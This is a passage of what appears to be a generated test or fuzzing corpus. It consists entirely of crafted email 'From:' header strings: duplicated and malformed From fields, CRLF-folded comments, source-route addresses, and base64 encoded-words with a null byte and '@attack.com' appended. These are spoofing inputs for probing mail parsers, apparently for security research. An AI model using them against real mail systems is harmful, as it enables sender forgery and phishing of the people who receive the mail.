\r\nFrom:(comment),wordword\r\n", + " Fromÿ: \r\nFrom:(\r\n)<@gmail.com:@b.com:webmaster@ymail.com>\r\n", + " From:,(comm\r\nent),security@foxmail.com,,hr@sina.cn,(comm\r\nent)\r\n", + "From: <=?utf-8?RnJvbTpockBmb3htYWlsLmNvbQ0K=?=>\u0000@attack.com", + " From:Alice@live.com\r\n", + " FrOM: \r\nFrom:(),(comm\r\nent),(comm\r\nent),(comment)\r\n", + " Fromÿ: \r\nFrom:(hi)\r\n", + "From: <=?utf-8?RnJvbTosKGhpKTxzZWN1cml0eUBpY2xvdWQuY29tPiwoDQopDQo==?=>\u0000@attack.com", + "From:wordword.word.()word.<@a.com:@b.com:admin@icloud.com>\r\n", + "From: word(comment),<@qq.com:@163.com:Bob@ymail.com.cn>\r\n", + " From:word(\r\n)<@a.com:@b.com:admin@139.com>,,<@a.com:@b.com:key@aliyun.com>\r\n", + "From: <=?utf-8?RnJvbTpCb2JAc29odS5jb20NCg===?=>\u0000@attack.com", + " From:,Alice@china.com\r\n", + "From: \r\nFrom:,,(comment),webmaster@sina.cn,(hi)\r\n", + " From:(hi),(hi),(\r\n),word(comment)(hi)<@qq.com:@163.com:attacker@sina.cn>\r\n", + " From: \r\nFrom:Alice@aliyun.com\r\n", + " FrOM: \r\nFrom:webmaster@gmail.com,key@126.com\r\n", + "From: \r\nFrom:security@sina.com\r\n", + "From :()\r\n", + " From: \r\nFrom:,<@gmail.com:@b.com:admin@china.com>,(hi)<@gmail.com:@b.com:attacker@msn.com>,(hi),,(),\r\n", + "From: \r\nFrom:wordword<@a.com:@b.com:Mike@icloud.com>(),word(comment),security@msn.com,word\r\n", + " Fromÿ: \r\nFrom:word()<@qq.com:@163.com:Alice@sina.cn>(\r\n)\r\n", + "From: <=?utf-8?RnJvbTp3b3JkLigNCik8QWxpY2VAbXNuLmNvbT4saHJAeW1haWwuY29tDQo==?=>\u0000@attack.com", + "From: \r\nFrom:word(comment)(comment)\r\n", + "From: Mike@msn.com\r\n", + "From :<@qq.com:@163.com:Alice@gmail.com>(hi),word<@gmail.com:@b.com:key@ymail.com.cn>(comm\r\nent),Alice@ymail.com.cn,wordword<@gmail.com:@b.com:Alice@aliyun.com>(hi),(\r\n)<@qq.com:@163.com:webmaster@139.com>\r\n", + " From: \r\nFrom:,attacker@hotmail.com\r\n", + " Fromÿ: \r\nFrom:key@live.com\r\n", + "From: <=?utf-8?RnJvbTo8QHFxLmNvbTpAMTYzLmNvbTphdHRhY2tlckBsaXZlLmNvbT4oY29tbWVudCkNCg===?=>\u0000@attack.com", + "From:,Bob@ymail.com\r\n", + "From: word(\r\n)(\r\n),Mike@qq.com,Alice@163.com,(comm\r\nent)(),key@icloud.com\r\n", + "From :(),key@icloud.com,,,\r\n", + "From: admin@ymail.com,<@gmail.com:@b.com:webmaster@msn.com>(comment)\r\n", + " FrOM: \r\nFrom:(\r\n),wordword(\r\n)(\r\n),\r\n", + "From: \r\nFrom:Alice@aliyun.com\r\n", + " From: \r\nFrom:attacker@sohu.com\r\n", + "From: <=?utf-8?RnJvbTo8QGEuY29tOkBiLmNvbTphdHRhY2tlckAxMzkuY29tPg0K=?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTp3b3Jkd29yZChoaSk8QGdtYWlsLmNvbTpAYi5jb206YWRtaW5AaG90bWFpbC5jb20+LA0K=?=>\u0000@attack.com", + " FrOM: \r\nFrom:admin@sohu.com\r\n", + "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KSxhdHRhY2tlckAxNjMuY29tDQo==?=>\u0000@attack.com", + " FrOM: \r\nFrom:(comment),word(comm\r\nent),(),(\r\n)\r\n", + "From: admin@ymail.com,word(hi)(),<@qq.com:@163.com:security@hotmail.com>,Alice@foxmail.com,<@a.com:@b.com:attacker@hotmail.com>(\r\n)\r\n", + " From: \r\nFrom:(),webmaster@sina.cn,\r\n", + "From: <=?utf-8?RnJvbTpNaWtlQGdtYWlsLmNvbSxhZG1pbkBnbWFpbC5jb20sa2V5QHFxLmNvbSxockBxcS5jb20saHJAbXNuLmNvbSxrZXlAZm94bWFpbC5jb20sYWRtaW5AcXEuY29tLHdlYm1hc3RlckB0b3AuY29tLHdvcmQ8QHFxLmNvbTpAMTYzLmNvbTpNaWtlQHNvaHUuY29tPix3b3JkPEBhLmNvbTpAYi5jb206a2V5QGljbG91ZC5jb20+KGNvbW0NCmVudCkNCg===?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTosKGNvbW1lbnQpLCgpLHdvcmQuLihoaSk8d2VibWFzdGVyQHRvcC5jb20+DQo==?=>", + "From: <=?utf-8?RnJvbTpCb2JAMTM5LmNvbQ0K=?=>", + " From:(comment),word<@qq.com:@163.com:security@msn.com>(comm\r\nent),hr@139.com\r\n", + "From: \r\nFrom:wordwordword(comment)\r\n", + " Fromÿ: \r\nFrom:word(comment),<@qq.com:@163.com:Bob@ymail.com.cn>\r\n", + " From:admin@china.com,(comment)<@a.com:@b.com:attacker@china.com>(comment)\r\n", + "From: \r\nFrom:Bob@china.com,<@qq.com:@163.com:Bob@qq.com>\r\n", + "From: wordword\r\n", + "From: <=?utf-8?RnJvbTo8YXR0YWNrZXJAaWNsb3VkLmNvbT4sYXR0YWNrZXJAc2luYS5jb20sKGhpKQ0K=?=>", + "From: ,()(comment),(\r\n)\r\n", + "From:admin@china.com,(comment)<@a.com:@b.com:attacker@china.com>(comment)\r\n", + "From: <=?utf-8?RnJvbTp3b3JkPEBnbWFpbC5jb206QGIuY29tOndlYm1hc3RlckBtc24uY29tPiw8QGEuY29tOkBiLmNvbTprZXlAZm94bWFpbC5jb20+LA0K=?=>", + "From: \r\nFrom:<@qq.com:@163.com:Mike@163.com>\r\n", + " From:word(comment)(comment)\r\n", + "From: <=?utf-8?RnJvbTpCb2JAY2hpbmEuY29tLDxAcXEuY29tOkAxNjMuY29tOkJvYkBxcS5jb20+DQo==?=>", + "From:word.(\r\n),hr@ymail.com\r\n", + "From :,,Alice@msn.com,,()\r\n", + " FrOM: \r\nFrom:,hr@aliyun.com\r\n", + "From: ,webmaster@ymail.com\r\n", + "From: (comm\r\nent),key@sohu.com\r\n", + "From: <=?utf-8?RnJvbTooKTxAcXEuY29tOkAxNjMuY29tOk1pa2VAb3V0bG9vay5jb20+KA0KKQ0K=?=>", + " Fromÿ: \r\nFrom:(comm\r\nent)(hi),key@msn.com\r\n", + "From: \r\nFrom:word,<@a.com:@b.com:security@sohu.com>\r\n", + " From: \r\nFrom:word(comm\r\nent)\r\n", + " FrOM: \r\nFrom:,Alice@top.com\r\n", + "From :(comment)<@a.com:@b.com:Bob@139.com>\r\n", + " FrOM: \r\nFrom:,(comm\r\nent),security@foxmail.com,,hr@sina.cn,(comm\r\nent)\r\n", + " From:(comment),(hi),attacker@outlook.com,(),key@163.com\r\n", + "From:,<@gmail.com:@b.com:admin@china.com>,(hi)<@gmail.com:@b.com:attacker@msn.com>,(hi),,(),\r\n", + "From :admin@live.com,(\r\n)\r\n", + " FrOM: \r\nFrom:key@foxmail.com,(\r\n)\r\n", + "From: ,(comm\r\nent),security@foxmail.com,,hr@sina.cn,(comm\r\nent)\r\n", + "From: \r\nFrom:(),Mike@139.com,\r\n", + "From: wordword(\r\n)\r\n", + " FrOM: \r\nFrom:security@163.com\r\n", + " FrOM: \r\nFrom:admin@icloud.com\r\n", + "From: \r\nFrom:,webmaster@ymail.com\r\n", + "From: <=?utf-8?RnJvbTp3b3Jkd29yZC53b3JkLigpd29yZC48QGEuY29tOkBiLmNvbTphZG1pbkBpY2xvdWQuY29tPg0K=?=>", + " Fromÿ: \r\nFrom:security@sina.com\r\n", + "From: <=?utf-8?RnJvbTo8QGEuY29tOkBiLmNvbTpzZWN1cml0eUBxcS5jb20+DQo==?=>\u0000@attack.com", + "From :Alice@gmail.com,hr@icloud.com\r\n", + " FrOM: \r\nFrom:wordword().(hi)\r\n", + "From: ()\r\n", + " From: \r\nFrom:admin@qq.com\r\n", + " FrOM: \r\nFrom:,Bob@ymail.com\r\n", + "From: admin@china.com,(comment)<@a.com:@b.com:attacker@china.com>(comment)\r\n", + "From :hr@163.com\r\n", + "From: <=?utf-8?RnJvbTooaGkpLCwsKGhpKTxAYS5jb206QGIuY29tOndlYm1hc3RlckBtc24uY29tPigNCiksDQo==?=>\u0000@attack.com", + " FrOM: \r\nFrom:,word(\r\n),,(),key@ymail.com.cn,()\r\n", + "From :hr@ymail.com.cn\r\n", + "From: <=?utf-8?RnJvbTprZXlAc29odS5jb20NCg===?=>\u0000@attack.com", + " Fromÿ: \r\nFrom:(\r\n),(hi),(),(comm\r\nent),\r\n", + "From: \r\nFrom:,attacker@sina.com,(hi)\r\n", + "From: <=?utf-8?RnJvbTp3ZWJtYXN0ZXJAc2luYS5jbixBbGljZUAxMzkuY29tLEJvYkBsaXZlLmNvbQ0K=?=>\u0000@attack.com", + "From:(),key@icloud.com,,,\r\n", + "From: <=?utf-8?RnJvbTpBbGljZUBvdXRsb29rLmNvbSx3b3JkPGF0dGFja2VyQDE2My5jb20+DQo==?=>\u0000@attack.com", + " From: \r\nFrom:Mike@msn.com\r\n", + "From: <=?utf-8?RnJvbTpNaWtlQHRvcC5jb20sa2V5QG91dGxvb2suY29tDQo==?=>", + "From :(hi),admin@msn.com\r\n", + " From: \r\nFrom:,,key@foxmail.com\r\n", + " Fromÿ: \r\nFrom:admin@ymail.com,<@gmail.com:@b.com:webmaster@msn.com>(comment)\r\n", + " From:<@gmail.com:@b.com:Alice@sina.com>,(hi)(hi)\r\n", + "From: <=?utf-8?RnJvbTp3b3Jkd29yZDxAYS5jb206QGIuY29tOk1pa2VAaWNsb3VkLmNvbT4oKSx3b3JkKGNvbW1lbnQpPGhyQHltYWlsLmNvbS5jbj4sc2VjdXJpdHlAbXNuLmNvbSx3b3JkPHNlY3VyaXR5QGdtYWlsLmNvbT4NCg===?=>", + " From: \r\nFrom:(\r\n),key@qq.com,\r\n", + " FrOM: \r\nFrom:Alice@outlook.com,word\r\n", + "From :(comm\r\nent)<@gmail.com:@b.com:Mike@163.com>(hi)\r\n", + "From: \r\nFrom:hr@foxmail.com,,\r\n", + " From: \r\nFrom:key@msn.com,attacker@163.com,word.()(comm\r\nent)()<@qq.com:@163.com:Mike@sina.cn>(comm\r\nent),wordword(comment)<@qq.com:@163.com:security@sohu.com>(\r\n),word(comm\r\nent),word\r\n", + "From: <=?utf-8?RnJvbTp3b3JkPEBnbWFpbC5jb206QGIuY29tOnNlY3VyaXR5QHNpbmEuY24+LHdlYm1hc3RlckBmb3htYWlsLmNvbSxzZWN1cml0eUBzaW5hLmNvbSx3b3JkPEBhLmNvbTpAYi5jb206YXR0YWNrZXJAb3V0bG9vay5jb20+LDxAcXEuY29tOkAxNjMuY29tOnNlY3VyaXR5QHltYWlsLmNvbS5jbj4NCg===?=>", + "From: <=?utf-8?RnJvbTosYXR0YWNrZXJAaG90bWFpbC5jb20NCg===?=>\u0000@attack.com", + " From: \r\nFrom:wordword.word.()word.<@a.com:@b.com:admin@icloud.com>\r\n", + " Fromÿ: \r\nFrom:(comm\r\nent)<@qq.com:@163.com:Alice@foxmail.com>,word,word(comment)(comm\r\nent)\r\n", + "From: <@qq.com:@163.com:attacker@live.com>(comment)\r\n", + "From: <=?utf-8?RnJvbTo8QHFxLmNvbTpAMTYzLmNvbTpNaWtlQDE2My5jb20+DQo==?=>", + "From: word<@gmail.com:@b.com:webmaster@msn.com>,<@a.com:@b.com:key@foxmail.com>,\r\n", + "From :(comm\r\nent),Bob@qq.com,admin@top.com,\r\n", + "From: <=?utf-8?RnJvbTo8QHFxLmNvbTpAMTYzLmNvbTphdHRhY2tlckBsaXZlLmNvbT4oY29tbWVudCkNCg===?=>", + "From: <=?utf-8?RnJvbTosaHJAMTI2LmNvbSwoaGkpDQo==?=>", + " FrOM: \r\nFrom:word(comment)<@a.com:@b.com:key@ymail.com>(\r\n)\r\n", + "From: <=?utf-8?RnJvbTp3b3JkKA0KKTxAYS5jb206QGIuY29tOmFkbWluQDEzOS5jb20+LDxCb2JAc2luYS5jb20+LDxAYS5jb206QGIuY29tOmtleUBhbGl5dW4uY29tPg0K=?=>", + "From: <=?utf-8?RnJvbTosTWlrZUBpY2xvdWQuY29tDQo==?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTphdHRhY2tlckBzb2h1LmNvbSx3ZWJtYXN0ZXJAZm94bWFpbC5jb20NCg===?=>", + " From:(),(hi)<@a.com:@b.com:Alice@live.com>(hi),\r\n", + " FrOM: \r\nFrom:Bob@sohu.com,security@sohu.com\r\n", + "From: <=?utf-8?RnJvbTpBbGljZUBxcS5jb20sd29yZC48a2V5QGNoaW5hLmNvbT4sc2VjdXJpdHlAc2luYS5jbixzZWN1cml0eUAxMjYuY29tLHdvcmQoY29tbWVudCk8YWRtaW5AY2hpbmEuY29tPg0K=?=>", + "From :,,key@foxmail.com\r\n", + "From: \r\nFrom:,<@gmail.com:@b.com:admin@china.com>,(hi)<@gmail.com:@b.com:attacker@msn.com>,(hi),,(),\r\n", + "From: <=?utf-8?RnJvbTo8QGdtYWlsLmNvbTpAYi5jb206QWxpY2VAc2luYS5jb20+LChoaSk8YXR0YWNrZXJAbXNuLmNvbT4oaGkpDQo==?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTooKSxrZXlAaWNsb3VkLmNvbSwsPEFsaWNlQG91dGxvb2suY29tPiwNCg===?=>", + "From: \r\nFrom:admin@ymail.com,word(hi)(),<@qq.com:@163.com:security@hotmail.com>,Alice@foxmail.com,<@a.com:@b.com:attacker@hotmail.com>(\r\n)\r\n", + " Fromÿ: \r\nFrom:word(hi)<@gmail.com:@b.com:Bob@163.com>(hi)\r\n", + " Fromÿ: \r\nFrom:hr@gmail.com\r\n", + " From: \r\nFrom:(\r\n),wordword(\r\n)(\r\n),\r\n", + " From:(comm\r\nent),wordwordword(comm\r\nent)(\r\n),admin@foxmail.com,webmaster@139.com,security@gmail.com\r\n", + "From:word,<@a.com:@b.com:security@sohu.com>\r\n", + "From: <=?utf-8?RnJvbTp3b3Jkd29yZCgNCik8QWxpY2VAdG9wLmNvbT4oY29tbWVudCkNCg===?=>", + "From: <=?utf-8?RnJvbTp3ZWJtYXN0ZXJAMTM5LmNvbQ0K=?=>", + "From: ,Mike@ymail.com\r\n", + " From: \r\nFrom:Bob@qq.com,wordwordwordword(hi)\r\n", + " From:Bob@139.com,hr@china.com\r\n", + " FrOM: \r\nFrom:word(\r\n)<@a.com:@b.com:admin@139.com>,,<@a.com:@b.com:key@aliyun.com>\r\n", + " Fromÿ: \r\nFrom:hr@163.com\r\n", + " FrOM: \r\nFrom:Bob@qq.com,wordwordwordword(hi)\r\n", + "From: \r\nFrom:<@qq.com:@163.com:attacker@live.com>(comment)\r\n", + "From :security@163.com\r\n", + "From:word<@a.com:@b.com:admin@aliyun.com>(),admin@top.com,\r\n", + "From: \r\nFrom:(comm\r\nent),wordwordword(comm\r\nent)(\r\n),admin@foxmail.com,webmaster@139.com,security@gmail.com\r\n", + " From:word(hi),word<@a.com:@b.com:Mike@icloud.com>\r\n", + " Fromÿ: \r\nFrom:Bob@139.com,hr@china.com\r\n", + "From: <=?utf-8?RnJvbTosLCx3b3JkPHdlYm1hc3RlckBjaGluYS5jb20+KA0KKQ0K=?=>\u0000@attack.com", + " From:(),Bob@qq.com\r\n", + " Fromÿ: \r\nFrom:<@qq.com:@163.com:Alice@gmail.com>(hi),word<@gmail.com:@b.com:key@ymail.com.cn>(comm\r\nent),Alice@ymail.com.cn,wordword<@gmail.com:@b.com:Alice@aliyun.com>(hi),(\r\n)<@qq.com:@163.com:webmaster@139.com>\r\n", + "From: \r\nFrom:word(comment)<@a.com:@b.com:key@126.com>,word.(\r\n),word()(comment),,(comment)\r\n", + "From: Bob@139.com\r\n", + " Fromÿ: \r\nFrom:<@a.com:@b.com:Bob@163.com>(hi)\r\n", + " From:security@163.com\r\n", + " From:webmaster@sina.cn,Alice@139.com,Bob@live.com\r\n", + " From: \r\nFrom:wordwordwordword(comment)<@a.com:@b.com:Bob@hotmail.com>(\r\n)\r\n", + "From :(hi),,(hi),(hi)\r\n", + "From:Alice@msn.com,\r\n", + " From: \r\nFrom:(),(comm\r\nent),(comm\r\nent),(comment)\r\n", + "From :wordword(\r\n),Alice@ymail.com,webmaster@live.com,admin@icloud.com,security@sohu.com\r\n", + "From :(comm\r\nent),key@sohu.com\r\n", + "From :webmaster@sina.cn,Mike@163.com\r\n", + "From: <=?utf-8?RnJvbTpzZWN1cml0eUAxNjMuY29tDQo==?=>\u0000@attack.com", + " FrOM: \r\nFrom:word<@a.com:@b.com:admin@aliyun.com>(),admin@top.com,\r\n", + " FrOM: \r\nFrom:(hi)\r\n", + "From: word,<@a.com:@b.com:security@sohu.com>\r\n", + "From:wordword(\r\n),Alice@ymail.com,webmaster@live.com,admin@icloud.com,security@sohu.com\r\n", + "From:admin@sina.com,(comment),\r\n", + " Fromÿ: \r\nFrom:,(comment),(),word..(hi)\r\n", + "From: <=?utf-8?RnJvbTo8YXR0YWNrZXJAaWNsb3VkLmNvbT4sYXR0YWNrZXJAc2luYS5jb20sKGhpKQ0K=?=>\u0000@attack.com", + " From:attacker@sohu.com,webmaster@foxmail.com\r\n", + "From :word(\r\n)(\r\n),Mike@qq.com,Alice@163.com,(comm\r\nent)(),key@icloud.com\r\n", + "From: <=?utf-8?RnJvbTprZXlAc2luYS5jbiwNCg===?=>", + "From: <=?utf-8?RnJvbTp3b3Jkd29yZC53b3JkLigpd29yZC48QGEuY29tOkBiLmNvbTphZG1pbkBpY2xvdWQuY29tPg0K=?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTooDQopLChoaSksKCksKGNvbW0NCmVudCksPGFkbWluQGFsaXl1bi5jb20+DQo==?=>\u0000@attack.com", + "From: Bob@126.com\r\n", + " From: \r\nFrom:wordword(hi)<@gmail.com:@b.com:admin@hotmail.com>,\r\n", + "From: \r\nFrom:,webmaster@foxmail.com\r\n", + "From: \r\nFrom:,key@139.com,,(hi),,(),\r\n", + "From: (),(comm\r\nent),(comm\r\nent),(comment)\r\n", + "From: <=?utf-8?RnJvbTpCb2JAMTI2LmNvbQ0K=?=>\u0000@attack.com", + " From: \r\nFrom:()<@qq.com:@163.com:Mike@outlook.com>(\r\n)\r\n", + " FrOM: \r\nFrom:()<@a.com:@b.com:security@ymail.com>(comm\r\nent)\r\n", + "From: <=?utf-8?RnJvbTprZXlAaWNsb3VkLmNvbQ0K=?=>", + " From: \r\nFrom:Mike@msn.com,hr@top.com,webmaster@hotmail.com\r\n", + "From: Mike@foxmail.com\r\n", + "From: \r\nFrom:word(),wordword(hi)\r\n", + " Fromÿ: \r\nFrom:(hi)(hi),<@qq.com:@163.com:Alice@gmail.com>()\r\n", + "From: <=?utf-8?RnJvbTpBbGljZUBsaXZlLmNvbQ0K=?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTosd2VibWFzdGVyQHltYWlsLmNvbQ0K=?=>", + "From:(comm\r\nent),wordword(hi),word(hi),wordwordword()<@qq.com:@163.com:security@aliyun.com>(comm\r\nent)\r\n", + " FrOM: \r\nFrom:Mike@icloud.com,admin@aliyun.com,hr@sina.com,Bob@163.com,wordwordwordword<@qq.com:@163.com:security@163.com>,word(comment)<@gmail.com:@b.com:security@139.com>\r\n", + "From: word<@qq.com:@163.com:admin@gmail.com>(\r\n)\r\n", + "From :(comm\r\nent)<@qq.com:@163.com:Alice@foxmail.com>,word,word(comment)(comm\r\nent)\r\n", + "From: <=?utf-8?RnJvbTpCb2JAdG9wLmNvbSx3b3JkPEBnbWFpbC5jb206QGIuY29tOkJvYkBvdXRsb29rLmNvbT4oKQ0K=?=>\u0000@attack.com", + " FrOM: \r\nFrom:word(comm\r\nent)\r\n", + "From: <=?utf-8?RnJvbTphZG1pbkB5bWFpbC5jb20sd29yZChoaSk8Qm9iQGdtYWlsLmNvbT4oKSw8QHFxLmNvbTpAMTYzLmNvbTpzZWN1cml0eUBob3RtYWlsLmNvbT4sQWxpY2VAZm94bWFpbC5jb20sPEBhLmNvbTpAYi5jb206YXR0YWNrZXJAaG90bWFpbC5jb20+KA0KKQ0K=?=>\u0000@attack.com", + " Fromÿ: \r\nFrom:admin@china.com,(comment)<@a.com:@b.com:attacker@china.com>(comment)\r\n", + "From:word<@qq.com:@163.com:webmaster@ymail.com.cn>,Alice@gmail.com,word(comment)..word\r\n", + "From: (\r\n)<@gmail.com:@b.com:webmaster@live.com>,word(comment)<@qq.com:@163.com:webmaster@126.com>,<@a.com:@b.com:Alice@139.com>(comment)\r\n", + "From: <=?utf-8?RnJvbTo8c2VjdXJpdHlAZm94bWFpbC5jb20+KCkNCg===?=>", + " From:word(),wordword(hi)\r\n", + "From: <=?utf-8?RnJvbTooKTxAZ21haWwuY29tOkBiLmNvbTpNaWtlQGxpdmUuY29tPg0K=?=>", + " Fromÿ: \r\nFrom:key@126.com,word()<@gmail.com:@b.com:admin@sina.com>\r\n", + " Fromÿ: \r\nFrom:(comment),wordword\r\n", + "From :wordword().(hi)\r\n", + "From:(\r\n)<@gmail.com:@b.com:webmaster@ymail.com>\r\n", + " From:Mike@top.com,key@outlook.com\r\n", + "From: \r\nFrom:(comm\r\nent),Bob@qq.com,admin@top.com,\r\n", + "From:word(comm\r\nent),security@sina.cn,(comment),security@163.com\r\n", + "From:webmaster@126.com\r\n", + " Fromÿ: \r\nFrom:webmaster@sina.cn,Alice@139.com,Bob@live.com\r\n", + "From: <=?utf-8?RnJvbTpCb2JAc29odS5jb20NCg===?=>", + " Fromÿ: \r\nFrom:attacker@sina.com,word<@qq.com:@163.com:Alice@top.com>(hi)\r\n", + " Fromÿ: \r\nFrom:word.()(),<@gmail.com:@b.com:key@msn.com>(comm\r\nent),word(\r\n),\r\n", + "From: ,(\r\n),()<@a.com:@b.com:admin@qq.com>(),,(hi),(comm\r\nent)<@gmail.com:@b.com:webmaster@gmail.com>\r\n", + " FrOM: \r\nFrom:,,Alice@msn.com,,()\r\n", + " Fromÿ: \r\nFrom:Bob@sohu.com,security@sohu.com\r\n", + "From: \r\nFrom:(hi),(hi),(\r\n),word(comment)(hi)<@qq.com:@163.com:attacker@sina.cn>\r\n", + " FrOM: \r\nFrom:,,Alice@hotmail.com,webmaster@foxmail.com\r\n", + "From: Mike@icloud.com,admin@aliyun.com,hr@sina.com,Bob@163.com,wordwordwordword<@qq.com:@163.com:security@163.com>,word(comment)<@gmail.com:@b.com:security@139.com>\r\n", + " From:attacker@126.com\r\n", + "From: <=?utf-8?RnJvbTo8QHFxLmNvbTpAMTYzLmNvbTpNaWtlQDE2My5jb20+DQo==?=>\u0000@attack.com", + " Fromÿ: \r\nFrom:word<@gmail.com:@b.com:security@sina.cn>,webmaster@foxmail.com,security@sina.com,word<@a.com:@b.com:attacker@outlook.com>,<@qq.com:@163.com:security@ymail.com.cn>\r\n", + " FrOM: \r\nFrom:word(comm\r\nent),,(\r\n)\r\n", + " FrOM: \r\nFrom:admin@live.com\r\n", + " FrOM: \r\nFrom:word(comment)(hi),Bob@ymail.com.cn,(comment)<@gmail.com:@b.com:security@foxmail.com>\r\n", + "From: Alice@gmail.com,hr@icloud.com\r\n", + " From:hr@sohu.com\r\n", + "From:word()<@qq.com:@163.com:Alice@sina.cn>(\r\n)\r\n", + "From: wordword(comment)<@qq.com:@163.com:webmaster@china.com>\r\n", + "From: <=?utf-8?RnJvbTooKSxCb2JAcXEuY29tDQo==?=>\u0000@attack.com", + "From: admin@qq.com\r\n", + " Fromÿ: \r\nFrom:word(comm\r\nent),security@sina.cn,(comment),security@163.com\r\n", + " FrOM: \r\nFrom:wordword(\r\n),Alice@ymail.com,webmaster@live.com,admin@icloud.com,security@sohu.com\r\n", + "From: <=?utf-8?RnJvbTp3b3JkKCk8aHJAbGl2ZS5jb20+LHdvcmR3b3JkKGhpKTxCb2JAMTM5LmNvbT4NCg===?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTp3b3Jkd29yZDxNaWtlQHltYWlsLmNvbS5jbj4NCg===?=>", + "From: <=?utf-8?RnJvbTp3b3Jkd29yZHdvcmQ8QGdtYWlsLmNvbTpAYi5jb206YXR0YWNrZXJAZm94bWFpbC5jb20+LGF0dGFja2VyQGhvdG1haWwuY29tLHdvcmR3b3JkPEBnbWFpbC5jb206QGIuY29tOndlYm1hc3RlckBhbGl5dW4uY29tPixhdHRhY2tlckAxNjMuY29tDQo==?=>", + "From: key@sina.cn,\r\n", + "From: \r\nFrom:(comm\r\nent),,key@aliyun.com,,\r\n", + "From :webmaster@sina.cn,Alice@139.com,Bob@live.com\r\n", + " Fromÿ: \r\nFrom:attacker@ymail.com.cn\r\n", + " From: \r\nFrom:,,Alice@msn.com,,()\r\n", + "From :(\r\n)<@gmail.com:@b.com:webmaster@live.com>,word(comment)<@qq.com:@163.com:webmaster@126.com>,<@a.com:@b.com:Alice@139.com>(comment)\r\n", + "From: <=?utf-8?RnJvbTpCb2JAcXEuY29tLHdvcmR3b3Jkd29yZHdvcmQ8QWxpY2VAY2hpbmEuY29tPihoaSkNCg===?=>", + " From: \r\nFrom:Alice@outlook.com\r\n", + "From: <=?utf-8?RnJvbTo8QGEuY29tOkBiLmNvbTpzZWN1cml0eUBxcS5jb20+DQo==?=>", + "From: \r\nFrom:webmaster@sina.cn,Mike@163.com\r\n", + "From: wordword().(hi)\r\n", + "From: <=?utf-8?RnJvbTooKSx3ZWJtYXN0ZXJAc2luYS5jbiwNCg===?=>\u0000@attack.com", + " FrOM: \r\nFrom:Alice@msn.com,\r\n", + "From: <=?utf-8?RnJvbTooaGkpPEFsaWNlQG1zbi5jb20+KCksc2VjdXJpdHlAYWxpeXVuLmNvbSx3b3JkKGNvbW1lbnQpPEBhLmNvbTpAYi5jb206Qm9iQHltYWlsLmNvbT4oKSx3b3JkPEJvYkBvdXRsb29rLmNvbT4oDQopDQo==?=>\u0000@attack.com", + " Fromÿ: \r\nFrom:wordword(comment)<@qq.com:@163.com:webmaster@china.com>\r\n", + " Fromÿ: \r\nFrom:Mike@msn.com\r\n", + "From:wordword<@gmail.com:@b.com:hr@sohu.com>(comment)\r\n", + "From :admin@live.com\r\n", + "From :(hi),(hi),(\r\n),word(comment)(hi)<@qq.com:@163.com:attacker@sina.cn>\r\n", + "From: (\r\n)<@gmail.com:@b.com:webmaster@ymail.com>\r\n", + "From: <=?utf-8?RnJvbTp3b3Jkd29yZHdvcmR3b3Jkd29yZDxAZ21haWwuY29tOkBiLmNvbTpBbGljZUAxMjYuY29tPihoaSkNCg===?=>", + "From: ()<@gmail.com:@b.com:Mike@live.com>\r\n", + "From: (hi),(),,,word()(\r\n)()\r\n", + "From: \r\nFrom:(comm\r\nent)<@gmail.com:@b.com:security@163.com>\r\n", + "From: ,security@china.com\r\n", + " From: \r\nFrom:Alice@163.com\r\n", + "From: \r\nFrom:,(comment),(),word..(hi)\r\n", + " FrOM: \r\nFrom:hr@icloud.com,(comm\r\nent)<@qq.com:@163.com:Alice@outlook.com>,(comment),,(\r\n),word<@gmail.com:@b.com:hr@sina.cn>(),\r\n", + "From:(),Bob@qq.com\r\n", + " From: \r\nFrom:()<@a.com:@b.com:security@ymail.com>(comm\r\nent)\r\n", + "From: <=?utf-8?RnJvbTpNaWtlQHRvcC5jb20sKGNvbW0NCmVudCk8QGEuY29tOkBiLmNvbTpCb2JAMTI2LmNvbT4oaGkpLGFkbWluQGljbG91ZC5jb20NCg===?=>", + "From :,Alice@china.com\r\n", + "From: \r\nFrom:security@ymail.com.cn,security@qq.com,wordword<@gmail.com:@b.com:webmaster@ymail.com.cn>\r\n", + "From :wordword(),wordwordword(comm\r\nent)\r\n", + "From: \r\nFrom:Alice@outlook.com\r\n", + " FrOM: \r\nFrom:hr@aliyun.com\r\n", + " FrOM: \r\nFrom:word(comment)word,wordwordwordwordwordwordwordword(comm\r\nent),admin@139.com,webmaster@126.com,word<@qq.com:@163.com:Bob@foxmail.com>(comm\r\nent)\r\n", + "From: <@a.com:@b.com:Bob@163.com>(hi)\r\n", + " Fromÿ: \r\nFrom:Bob@sohu.com,Mike@qq.com\r\n", + "From:Bob@msn.com,Mike@126.com,word(comment),word<@qq.com:@163.com:Alice@outlook.com>(comm\r\nent)\r\n", + "From: Alice@msn.com,\r\n", + "From: word(comm\r\nent)\r\n", + "From: ,,(comm\r\nent),security@sina.com,,wordwordwordword<@gmail.com:@b.com:attacker@gmail.com>(hi),()(comm\r\nent)\r\n", + " FrOM: \r\nFrom:word(\r\n)(\r\n),Mike@qq.com,Alice@163.com,(comm\r\nent)(),key@icloud.com\r\n", + " From:admin@icloud.com\r\n", + "From: <=?utf-8?RnJvbTp3b3Jkd29yZDxAcXEuY29tOkAxNjMuY29tOk1pa2VAeW1haWwuY29tLmNuPixhdHRhY2tlckB5bWFpbC5jb20uY24NCg===?=>\u0000@attack.com", + "From :webmaster@foxmail.com,(comm\r\nent),attacker@sina.cn,\r\n", + "From: (comment),(),webmaster@hotmail.com\r\n", + "From: <=?utf-8?RnJvbTp3b3JkPEBhLmNvbTpAYi5jb206a2V5QG91dGxvb2suY29tPigNCiksLChjb21tZW50KQ0K=?=>\u0000@attack.com", + " Fromÿ: \r\nFrom:hr@foxmail.com,,\r\n", + "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KSxCb2JAY2hpbmEuY29tLEJvYkBxcS5jb20sLCwoY29tbWVudCkNCg===?=>\u0000@attack.com", + "From: \r\nFrom:,(\r\n),(),Bob@139.com,,,(\r\n)\r\n", + " FrOM: \r\nFrom:word(hi)<@gmail.com:@b.com:Bob@163.com>(hi)\r\n", + "From: 